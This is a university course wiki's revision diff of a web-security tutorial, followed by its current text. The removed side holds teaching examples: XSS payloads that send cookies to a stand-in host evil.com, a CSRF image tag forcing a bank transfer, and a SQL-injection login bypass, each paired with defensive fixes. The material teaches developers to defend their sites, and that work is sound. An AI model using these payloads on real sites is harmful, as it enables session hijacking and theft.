Difference between revisions of "Web Application Security, Part 1"

From CSE330 Wiki
Jump to navigationJump to search
 
(36 intermediate revisions by 2 users not shown)
Line 1: Line 1:
 
Application-level web security is of increasing concern among web developers.  This article outlines some types of security threats to your web application and how to solve those threats.
 
Application-level web security is of increasing concern among web developers.  This article outlines some types of security threats to your web application and how to solve those threats.
  
This is Part 1 of the Web Application Security article, geared toward the material covered in [[Module 2]].  For material covered in [[Module 3]] (MySQL), see [[Web Application Security, Part 2]].  For material covered in [[Module 4]] (JavaScript), see [[Web Application Security, Part 3]].
+
This is Part 1 of the Web Application Security article, geared toward the material covered in [[Module 2]].  For material covered in [[Module 3]] (MySQL), see [[Web Application Security, Part 2]].  For material covered in [[Module 6]] (JavaScript), see [[Web Application Security, Part 3]].
  
 
== Introduction to Application-Level Web Security ==
 
== Introduction to Application-Level Web Security ==
Line 11: Line 11:
 
Here's the golden rule: Anything in your site that accepts user input, whether via a form, an AJAX request, a file upload, or even malformed links, can be used as an attack vector.  '''NEVER TRUST USER INPUT!!!'''  This can be summarized in the acronym FIEO, or ''Filter Input, Escape Output''.
 
Here's the golden rule: Anything in your site that accepts user input, whether via a form, an AJAX request, a file upload, or even malformed links, can be used as an attack vector.  '''NEVER TRUST USER INPUT!!!'''  This can be summarized in the acronym FIEO, or ''Filter Input, Escape Output''.
  
== Cross-Site Scripting ==
+
=== FIEO in PHP ===
  
TODO: Move this to Part 3.
+
==== Filtering Input ====
  
Cross-Site Scripting, or '''XSS''', is when an attacker targets an area of your application in which user-supplied input is included in application outputThe attacker may use JavaScript to read confidential information and send it to his/her own servers.
+
"Filter Input" means that you should check that input data is of the format that you are expecting.  For example, if you are expecting a number, you should cast it to a float or an intIf you are expecting a phone number, you should run it through a regular expression (you will learn regular expressions in module 4). For example:
  
There are two types of XSS attacks: '''persistent''' and '''reflected'''.
+
<source lang="PHP">
 
 
=== Persistent XSS ===
 
 
 
''Persistent XSS'' occurs when a web site stores input in a database and displays it to victims later.  A common vector for Persistent XSS are forum posts or shoutboxes.
 
 
 
For example, consider this code:
 
 
 
<source lang="php">
 
 
<?php
 
<?php
 +
// Cast a number to a float or an int:
 +
$amount = (float) $_POST['amount'];
  
$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");
+
// Pass a phone number through a regular expression:
 
+
$phone = preg_match('/\d{3}-\d{3}-\d{4}/', $_POST['phone']) ? $_POST['phone'] : "";
while($row=$res->fetch_assoc()){
 
echo "<p>".$row["content"]."</p>\n";
 
}
 
 
 
 
?>
 
?>
 
</source>
 
</source>
  
In this example, content from the database is displayed ''verbatim'' to the end user.  This is vulnerable to a Persistent XSS attack.  Suppose the attacker typed the following code into the shoutbox:
+
==== Escaping Output ====
  
<nowiki>How 'bout them Cardinals! <script> new Image().src = "http://www.evil.com/record_cookie?"+document.cookie; </script></nowiki>
+
"Escape Output" means that you need to nullify, or ''escape'', characters that have special meaning in the markup language of interest. For example, consider the following string:
  
The victim would just see "How 'bout them Cardinals!", and everything would seem fine.  However, the shout is also executing JavaScript code that sends the contents of the victim's cookies on your site to the attacker!  The attacker can now hijack the victim's session and do bad things.
+
<source lang="html4strict">
 
+
If a<b and b<c then a<c.
==== Solution ====
+
</source>
 
 
You need to escape the output.  In PHP, you can do this using the <code>htmlentities()</code> function:
 
  
<source lang="php">
+
Since a less-than sign means the start of a tag in HTML, and '''b''' is a valid tag name, the above string will ''not'' render as you might expect in HTML.  Therefore, we need to ''escape'' our less-than signs by using HTML entities:
<?php
 
  
$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");
+
<source lang="html4strict">
 
+
If a&lt;b and b&lt;c then a&lt;c.
while($row=$res->fetch_assoc()){
 
$safe = htmlentities($row["content"]);
 
echo "<p>".$safe."</p>\n";
 
}
 
 
 
?>
 
 
</source>
 
</source>
  
Now, the script would appear as text to the user, and it will not executeThis Persistent XSS threat has been put to rest!
+
The "&lt;" is an '''HTML entity''' that will render as a less-than sign.  (For more information on HTML entities,  
 
+
[https://webplatform.github.io/docs/html/entities read this article on the WebPlatform wiki].)
=== Reflected XSS ===
 
 
 
Reflected XSS is when a web page accepts input and then displays it immediately as output (without the database intermediate).  A common vector for Reflected XSS attacks are search queries.
 
 
 
For example, consider the code:
 
 
 
<source lang="php"><nowiki>
 
<?php
 
 
 
echo "<h1>Transaction History for: " . $_GET['username'] . "</h1>\n";
 
 
 
?>
 
</nowiki></source>
 
 
 
This is vulnerable to a Reflected XSS attack.  The attacker could trick the victim into visiting this link:
 
 
 
<nowiki>http://www.bank.com/history.php?username=mothergoose+%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2Fwww.evil.com%2Frecord_cookie%3F%22%2Bdocument.cookie%3B%3C%2Fscript%3E</nowiki>
 
 
 
In some ways, this is more mysterious than Persistent XSS, because it's not clear what's going on. But this is the code that will be displayed on the page:
 
 
 
<nowiki><h1>Transaction History for: mothergoose <script>new Image().src="http://www.evil.com/record_cookie?"+document.cookie;</script></h1></nowiki>
 
 
 
Aye yie yie!
 
  
==== Solution ====
+
PHP provides a function that, given a string, will convert special characters to their HTML entity equivalents.
  
To fix this, we again need to escape output:
+
<source lang="PHP">
 
 
<source lang="php"><nowiki>
 
 
<?php
 
<?php
 +
$str = "If a<b and b<c then a<c.";
  
$safe_username = htmlentities($_GET['username']);
+
// Convert special characters to HTML entities before outputting:
 
+
echo htmlentities($str);
echo "<h1>Transaction History for: " . $safe_username . "</h1>\n";
 
 
 
 
?>
 
?>
</nowiki></source>
 
 
And now our Reflected XSS vulnerability has been put to rest.
 
 
=== Real-Life Examples ===
 
 
* [http://www.xssed.com/news/130/F-Secure_McAfee_and_Symantec_websites_again_XSSed/ F-Secure, McAfee, and Symantec, January 2012] (Reflected XSS)
 
* [http://www.h-online.com/security/news/item/Potential-account-theft-with-XSS-hole-in-eBay-de-1320908.html eBay Germany, August 2011] (Reflected XSS)
 
* [http://www.eweek.com/c/a/Security/Facebook-Bully-Video-Actually-a-XSS-Exploit-121829/ Facebook, April 2011] (Persistent XSS)
 
* [http://news.softpedia.com/news/eBay-and-PayPal-XSSed-Again-159733.shtml PayPal, October 2010] (Reflected XSS)
 
* [http://news.softpedia.com/news/XSS-Flaw-Found-on-Secure-American-Express-Site-159439.shtml American Express, October 2010] (Reflected XSS)
 
* [http://threatpost.com/en_us/blogs/persistent-xss-bug-twitter-being-exploited-092110 Twitter, September 2010] (Persistent XSS)
 
 
== Cross-Site Request Forgery ==
 
 
A cross-site request forgery (CSRF, pronounced ''sea-surf'') involves a victim, who is logged in to the targeted site, visiting an attacker’s site.  The attacker has code on his site that forces the victim to unwittingly perform actions on the targeted site.
 
 
For example, suppose Mother Goose visited Dr. Evil's blog.  Dr. Evil had the following tag embedded in his bloc:
 
 
<nowiki><img src="http://www.bank.com/transfer.php?dest=dr-evil&amp;amount=5000" /></nowiki>
 
 
This would cause Mother Goose to authorize a $5000 transfer to Dr. Evil, completely without Mother Goose's knowledge!
 
 
Worse yet, Dr. Evil could just send an e-mail to Mother Goose with this image tag.  All Mother Goose would need to do to be attacked is open the e-mail!  (Now you know why sometimes your e-mail client turns off images from suspicious sources.)
 
 
=== Solution ===
 
 
The first precautionary measure is to always use POST requests (as opposed to GET requests) for actions that change something on your server.  This will fend off all except the most hard-core CSRF attacks.
 
 
However, fully preventing CSRF attacks is not difficult.  To do this, you can use a '''CSRF token'''.  A CSRF token is a known string of text that is submitted in all of the forms on your site.  If the string is not what you expect, then you can assume that the request was forged.
 
 
For example, consider this form:
 
 
<source lang="html">
 
<form action="transfer.php">
 
<input type="text" name="dest" />
 
<input type="number" name="amount" />
 
<input type="submit" value="Transfer" />
 
</form>
 
 
</source>
 
</source>
  
We can easily add a hidden CSRF token field like so (as well as making the form POST rather than GET):
+
'''Note:''' ''htmlentities'' escapes a string for use in HTML, but it does ''not'' escape a string for use in other markup languages.  You need to use different methods when escaping strings for other languages.
  
<source lang="html">
+
=== Why Not to Escape Input ===
<form action="transfer.php" method="post">
 
<input type="text" name="dest" />
 
<input type="number" name="amount" />
 
<input type="hidden" name="token" value="<?=$_SESSION['token'];?>" />
 
<input type="submit" value="Transfer" />
 
</form>
 
</source>
 
  
This assumes that <code>$_SESSION['token']</code> contains an alphanumeric string that was randomly generated upon session creationWe can now test for validity of the CSRF token on the server side (in transfer.php):
+
Filtering your input is important, as shown above.  However, it is bad practice to ''escape'' your inputFor example, don't do this:
  
<source lang="php">
+
<source lang="PHP">
 
<?php
 
<?php
$destination_username = $_POST['dest'];
+
$message = htmlentites($_POST['amount']); // bad practice
$amount = $_POST['amount'];
+
// then store $message in a database, etc.
if($_SESSION['token'] !== $_POST['token']){
 
die("Request forgery detected");
 
}
 
$mysqli->query(/* perform transfer */);
 
 
?>
 
?>
 
</source>
 
</source>
  
Now, if Mother Goose were to view a page containing the malicious <img/> tag, the transfer would not take place.
+
The reason this is bad practice is that it permanently ties that string to its final output format.  For example, what if some time down the road you want to support display of that message in a PDF?  You'd need to go back and remove all the HTML entities again.
 
 
=== Real-Life Examples ===
 
 
 
* [http://www.zdnet.com/no-data-breach-in-first-weibo-attack-2062301014/ Weibo (the Chinese Twitter), June 2011]
 
* [http://www.huffingtonpost.com/huff-wires/20110601/us-tec-google-hacking-attack/ Gmail, June 2011]
 
* [http://www.pcworld.com/businesscenter/article/228609/hackers_steal_hotmail_messages_thanks_to_web_flaw.html Hotmail, May 2011]
 
* [http://www.theregister.co.uk/2010/05/19/facebook_private_data_leak/ Facebook, May 2010]
 
 
 
== SQL Injection ==
 
 
 
TODO: Move this to part 2.
 
 
 
http://imgs.xkcd.com/comics/exploits_of_a_mom.png (TODO: embed image here)
 
  
 +
This is why you should ''filter'' strings at the input stage but not ''escape'' them until the final output stage.
  
SQL injection occurs when an attacker submits specially-crafted input into your server, which is then included in an SQL query.  The input modifies the query to perform additional actions on the database or to access unwanted information.
+
== Format String Injection ==
  
For instance, suppose you had the following code:
+
If you like using functions like '''printf''' and '''sprintf''', you may find yourself writing
  
 
<source lang="php">
 
<source lang="php">
<?php
+
printf( "%s", htmlentities($_GET['username']) ); // good example
require 'database.php';
 
 
 
/* DISCLAIMER: THIS CODE IS BAD IN MANY MORE WAYS THAN JUST
 
BEING VULNERABLE TO SQL INJECTION! IT IS FOR DEMONSTRATION OF
 
CONCEPT ONLY. DO NOT USE THIS CODE IN YOUR OWN PROJECTS! */
 
 
 
$res = $mysqli->query("SELECT id FROM users WHERE username='".$_POST['username']."' AND password='".$_POST['password']."'");
 
 
 
if( $res->num_rows==1 ){
 
    $row = $res->fetch_assoc();
 
    $_SESSION['user_id'] = $row["id"];
 
}else{
 
    echo "Login failed.";
 
    exit;
 
}
 
?>
 
 
</source>
 
</source>
  
This code is vulnerable to SQL injection.  For example, suppose the attacker used the following string of text for his username:
+
It is tempting to reduce this to
  
mother-goose' --
+
<source lang="php">
 
+
printf( htmlentities($_GET['username']) ); // BAD example
Here's what the resulting query would look like:
 
 
 
<source lang="mysql">
 
SELECT id FROM users WHERE username='mother-goose' --' AND password=''
 
 
</source>
 
</source>
  
Since <code>--</code> is the start of a comment in SQL, when MySQL interprets this query, it will ''completely ignore'' the password-checking part of the query! Dr. Evil can log in using anyone's username and steal all of their money!
+
Although the second implementation will work for most usernames, it is '''''not''''' correct!  You are essentially making the client-provided username the ''format string'' for printf.  If the username contains any percentage sign (%), it will be interpreted as the start of a parameter in the format string, causing your script to return errors. Worse yet, it is known that certain combinations of format parameters will actually reveal system information in the error log.
  
 
=== Solution ===
 
=== Solution ===
  
If you write your queries manually (as in the example above), you need to use <code>$mysqli->real_escape_string()</code> to sanitize your input:
+
The solution is simple: never put dynamic input as the format stringIt should always be static, either hard-coded or from a stable source like a YAML fileUser-supplied input should ''always'' be fed into the string as arguments to sprintf and printf.
 
 
<source lang="php">
 
<?php
 
$safe_username = $mysqli->real_escape_string($_POST['username']);
 
// ...
 
?>
 
</source>
 
 
 
However, the better solution is to use prepared queries.  For more information on prepared queries, see [[MySQL]].
 
 
 
=== Real-Life Examples ===
 
 
 
* [http://www.zdnet.com/unknowns-hack-european-space-agency-4010026071/ European Space Agency, May 2012]
 
* [http://www.dutchnews.nl/news/archives/2012/04/new_online_medical_records_sca.php Dutch Department Stores, April 2012]
 
* [http://www.msnbc.msn.com/id/46735808/ns/technology_and_science-security/ Ancestry.com, March 2012]
 
* [http://www.scmagazine.com.au/News/292592,allphones-hacked-staff-passwords-exposed.aspx Allphones (Australian Telecommunications Retailer), March 2012]
 
* [http://www.abc4.com/content/news/slc/story/More-fallout-Salt-Lake-City-police-website-hacked/PiSspE768UiioitJ3K4gyQ.cspx Salt Lake City Police Department, February 2012]
 
 
 
== Password Security ==
 
 
 
Let's assume for a moment that despite all of your efforts in the other fronts of web security, an attacker was still able to extract information from your databaseIf you store your passwords as plain text, not only will the attacker be able to log in as whomever he chooses, but the attacker will ''also'' likely be able to log in as the users of your site on different sites (since many users employ the same password on several different web sites).
 
 
 
=== Encryption ===
 
 
 
The types of encryption and encryption algorithms is a whole class to itself.
 
 
 
In CSE330 and future web application development, you should always use '''one-way encryption''' to encrypt your passwords.  What this means is that you feed a string of text (a password) to an encryption function, and that encryption function returns another string of text that is a ''digest'' of the passwordIt is impossible to mathematically convert a digest back to its associated password, but encrypting the password will always yield the same digest.
 
 
 
One-way encryption algorithms can also be ''salted''.  What this means is that the string to be encrypted is modified by a ''salt'' before the encryption occurs.  The same salt and the same password will always yield the same digest.  Using a salted hashing algorithm is preferable to a non-salted hashing algorithm for passwords because although digests cannot be reversed, non-salted digests can be looked up in a rainbow table.
 
 
 
=== Solution ===
 
  
So, the solution is to store salted, one-way-encrypted passwords in your database.  PHP provides the [http://php.net/crypt crypt()] function to do this for you.
+
If you are outputting only one little string like in the example above, it suffices to use a PHP function like '''print''' or '''echo''':
  
 
<source lang="php">
 
<source lang="php">
<?php
+
print htmlentities($_GET['username']); // good example
// This is a *good* example of how you can implement password-based user authentication in your web application.
+
echo htmlentities($_GET['username']); // good example
 
 
require 'database.php';
 
 
 
// Use a prepared statement
 
$stmt = $mysqli->prepare("SELECT COUNT(*), id, crypted_password FROM users WHERE username=?");
 
 
 
// Bind the parameter
 
$stmt->bind_param('s', $user);
 
$user = $_POST['username'];
 
$stmt->execute();
 
 
 
// Bind the results
 
$stmt->bind_result($cnt, $user_id, $pwd_hash);
 
$stmt->fetch();
 
 
 
$pwd_guess = $_POST['password'];
 
// Compare the submitted password to the actual password hash
 
if( $cnt == 1 && crypt($pwd_guess, $pwd_hash)==$pwd_hash){
 
// Login succeeded!
 
$_SESSION['user_id'] = $user_id;
 
// Redirect to your target page
 
}else{
 
// Login failed; redirect back to the login screen
 
}
 
?>
 
 
</source>
 
</source>
  
'''Note:''' You may sometimes see functions like [http://php.net/md5 md5()] used to encrypt passwords.  md5() does indeed perform one-way encryption, but it does so without a salt.  '''THIS IS BAD PRACTICE''', because unsalted md5 hashes can be trivially reversed using a rainbow table.  (Just Google for "md5 decrypter".)  Using a salt prevents the effective use of a rainbow table.
+
== Server Configurations ==
 
 
=== OpenID ===
 
 
 
One other solution that will solve ''all'' issues related to password security is to not have passwords at all.  This can be achieved using [[wikipedia:OpenID|OpenID]], which allows end users to use their accounts from other sites (e.g. Google, Yahoo, and Twitter) to authenticate on your site.  Not only does this make your life easier in the security realm, but it also eliminates the need for password recovery, etc.
 
  
There are many PHP libraries available for OpenID authentication; one such library is the creatively named [http://pear.php.net/package/OpenID OpenID], which you can install using [[PHP#PEAR|PEAR]].  You will need to install some other packages first, some from yum (if using RHEL) and some from pear.  (If you don't install them, PEAR will yell at you.)  These are the commands you need to run in order to install the correct packages (make sure you understand what they do before running them!):
+
Sometimes hackers attempt to penetrate your application from the server side rather than the application side. Server-side security is beyond the realm of this course, but here are some things you should keep in mind.
 
 
  sudo yum install php-mbstring php-bcmath # not necessary on Debian
 
sudo apachectl graceful
 
sudo pear install Crypt_DiffieHellman-0.2.6 Validate-0.8.5 Services_Yadis-0.5.1 OpenID-0.3.3
 
 
 
Here's an example implementation that uses the PEAR package.
 
 
 
'''Login Page:'''
 
<source lang="php"><nowiki>
 
<form action="process_openid.php" method="post">
 
<input id="start" name="start" type="hidden" value="true" />
 
<fieldset>
 
<legend>Sign in using OpenID</legend>
 
<div id="openid_choice">
 
<p>Please select your account provider:</p>
 
<select name="identifier">
 
<option value="https://www.google.com/accounts/o8/id">Google</option>
 
<option value="http://yahoo.com/">Yahoo</option>
 
</select>
 
</div>
 
<p>
 
<input type="submit" value="Sign In"/>
 
</p>
 
</fieldset>
 
</form>
 
</nowiki></source>
 
 
 
'''process_openid.php:'''
 
<source lang="php"><nowiki>
 
<?php
 
require_once 'OpenID/RelyingParty.php';
 
require_once 'OpenID/Message.php';
 
require_once 'Net/URL2.php';
 
 
 
session_start();
 
 
 
$realm = "http://www.yoursite.com/";
 
$returnTo = $realm . "path/to/process_openid.php";
 
 
 
$identifier = @$_POST['identifier'] ?: @$_SESSION['identifier'] ?: null; // note: the @ signs suppress "undefined" notices
 
 
 
$o = new OpenID_RelyingParty($returnTo, $realm, $identifier);
 
 
 
// Part 1: We are processing a login request before visiting the OpenID provider
 
if(@$_POST['start']) {
 
$authRequest = $o->prepare();
 
$url = $authRequest->getAuthorizeURL();
 
 
header("Location: ".$url);
 
exit;
 
}
 
 
 
// Part 2: The user is returning to our site after visiting the OpenID provider's site
 
else {
 
$usid = @$_SESSION['identifier'] ?: null;
 
unset($_SESSION['identifier']);
 
 
 
$queryString = count($_POST) ? file_get_contents('php://input') : $_SERVER['QUERY_STRING'];
 
 
$message = new OpenID_Message($queryString, OpenID_Message::FORMAT_HTTP);
 
 
 
$result = $o->verify(new Net_URL2($returnTo . '?' . $queryString), $message);
 
 
if($result->success()){
 
// Login Success!
 
 
// Get the OpenID identifier, which is unique to every OpenID user (i.e. you can use it in your database to
 
// keep track of people between logins), and save it in the session:
 
$_SESSION["openid.identity"] = $message->get("openid.identity");
 
 
// Now redirect to the target page for logged-in users
 
}else{
 
// Login Failed. You can redirect back to the login page or whatever
 
}
 
}
 
?>
 
</nowiki></source>
 
  
'''Disclaimer:''' OpenID does have security issues in its own right, especially phishing-type vulnerabilities, but they are almost exclusively tied to the OpenID identity providers (Google, Yahoo, etc), not the OpenID relying party (you)Using an SSL connection will help to solve many of these security issuesAnd ultimately, it's safe to rest assured that profit-driven OpenID providers are quick to respond when such security vulnerabilities are reported.
+
* Use a highly secure root password, and it should be one that you don't use anywhere elseSeriously.
 +
* Use a firewall system to block unnecessary ports from public access.  SSH and Web Server should really be the only ports you needYou should keep the web serve on port 80, but you have the option of moving SSH to a port other than 22 to make it slightly more secure.
  
=== Real-Life Examples ===
+
=== Git Exposed ===
  
Here is a constantly-updated list of sites that do not use proper password security: http://plaintextoffenders.com/
+
Another thing to keep in mind is that by default, Apache serves up ''everything'' in your file tree, only except for Apache-specific configuration files like .htaccess.  This means that if you're not careful, your .git directory can be served, exposing attackers to your raw source code, including things like database passwords! A recent study found that [http://www.jamiembrown.com/blog/one-in-every-600-websites-has-git-exposed/ one in every 600 web sites is making this mistake]. Don't be one of them!
  
  
 
[[Category:Module 2]]
 
[[Category:Module 2]]
 +
[[Category:Web Application Security]]

Latest revision as of 21:05, 18 July 2018

Application-level web security is of increasing concern among web developers. This article outlines some types of security threats to your web application and how to solve those threats.

This is Part 1 of the Web Application Security article, geared toward the material covered in Module 2. For material covered in Module 3 (MySQL), see Web Application Security, Part 2. For material covered in Module 6 (JavaScript), see Web Application Security, Part 3.

Introduction to Application-Level Web Security

Every day, computer hackers around the world penetrate web applications, often for personal profits. You may find it hard to believe, but even high-profile web sites (banks, social media, even computer security companies) are vulnerable to application-level attacks!

Not only is it embarrassing to be the programmer who wrote the vulnerable code, but it could also cost you your job. As a prudent web developer, it is imperative that you take precautionary measures to make your application difficult to penetrate. Indeed, most of the time, if your site is well-written, hackers will just move on.

Here's the golden rule: Anything in your site that accepts user input, whether via a form, an AJAX request, a file upload, or even malformed links, can be used as an attack vector. NEVER TRUST USER INPUT!!! This can be summarized in the acronym FIEO, or Filter Input, Escape Output.

FIEO in PHP

Filtering Input

"Filter Input" means that you should check that input data is of the format that you are expecting. For example, if you are expecting a number, you should cast it to a float or an int. If you are expecting a phone number, you should run it through a regular expression (you will learn regular expressions in module 4). For example:

<?php
// Cast a number to a float or an int:
$amount = (float) $_POST['amount'];

// Pass a phone number through a regular expression:
$phone = preg_match('/\d{3}-\d{3}-\d{4}/', $_POST['phone']) ? $_POST['phone'] : "";
?>

Escaping Output

"Escape Output" means that you need to nullify, or escape, characters that have special meaning in the markup language of interest. For example, consider the following string:

If a<b and b<c then a<c.

Since a less-than sign means the start of a tag in HTML, and b is a valid tag name, the above string will not render as you might expect in HTML. Therefore, we need to escape our less-than signs by using HTML entities:

If a&lt;b and b&lt;c then a&lt;c.

The "<" is an HTML entity that will render as a less-than sign. (For more information on HTML entities, read this article on the WebPlatform wiki.)

PHP provides a function that, given a string, will convert special characters to their HTML entity equivalents.

<?php
$str = "If a<b and b<c then a<c.";

// Convert special characters to HTML entities before outputting:
echo htmlentities($str);
?>

Note: htmlentities escapes a string for use in HTML, but it does not escape a string for use in other markup languages. You need to use different methods when escaping strings for other languages.

Why Not to Escape Input

Filtering your input is important, as shown above. However, it is bad practice to escape your input. For example, don't do this:

<?php
$message = htmlentites($_POST['amount']); // bad practice
// then store $message in a database, etc.
?>

The reason this is bad practice is that it permanently ties that string to its final output format. For example, what if some time down the road you want to support display of that message in a PDF? You'd need to go back and remove all the HTML entities again.

This is why you should filter strings at the input stage but not escape them until the final output stage.

Format String Injection

If you like using functions like printf and sprintf, you may find yourself writing

printf( "%s", htmlentities($_GET['username']) ); // good example

It is tempting to reduce this to

printf( htmlentities($_GET['username']) ); // BAD example

Although the second implementation will work for most usernames, it is not correct! You are essentially making the client-provided username the format string for printf. If the username contains any percentage sign (%), it will be interpreted as the start of a parameter in the format string, causing your script to return errors. Worse yet, it is known that certain combinations of format parameters will actually reveal system information in the error log.

Solution

The solution is simple: never put dynamic input as the format string. It should always be static, either hard-coded or from a stable source like a YAML file. User-supplied input should always be fed into the string as arguments to sprintf and printf.

If you are outputting only one little string like in the example above, it suffices to use a PHP function like print or echo:

print htmlentities($_GET['username']); // good example
echo htmlentities($_GET['username']); // good example

Server Configurations

Sometimes hackers attempt to penetrate your application from the server side rather than the application side. Server-side security is beyond the realm of this course, but here are some things you should keep in mind.

  • Use a highly secure root password, and it should be one that you don't use anywhere else. Seriously.
  • Use a firewall system to block unnecessary ports from public access. SSH and Web Server should really be the only ports you need. You should keep the web serve on port 80, but you have the option of moving SSH to a port other than 22 to make it slightly more secure.

Git Exposed

Another thing to keep in mind is that by default, Apache serves up everything in your file tree, only except for Apache-specific configuration files like .htaccess. This means that if you're not careful, your .git directory can be served, exposing attackers to your raw source code, including things like database passwords! A recent study found that one in every 600 web sites is making this mistake. Don't be one of them!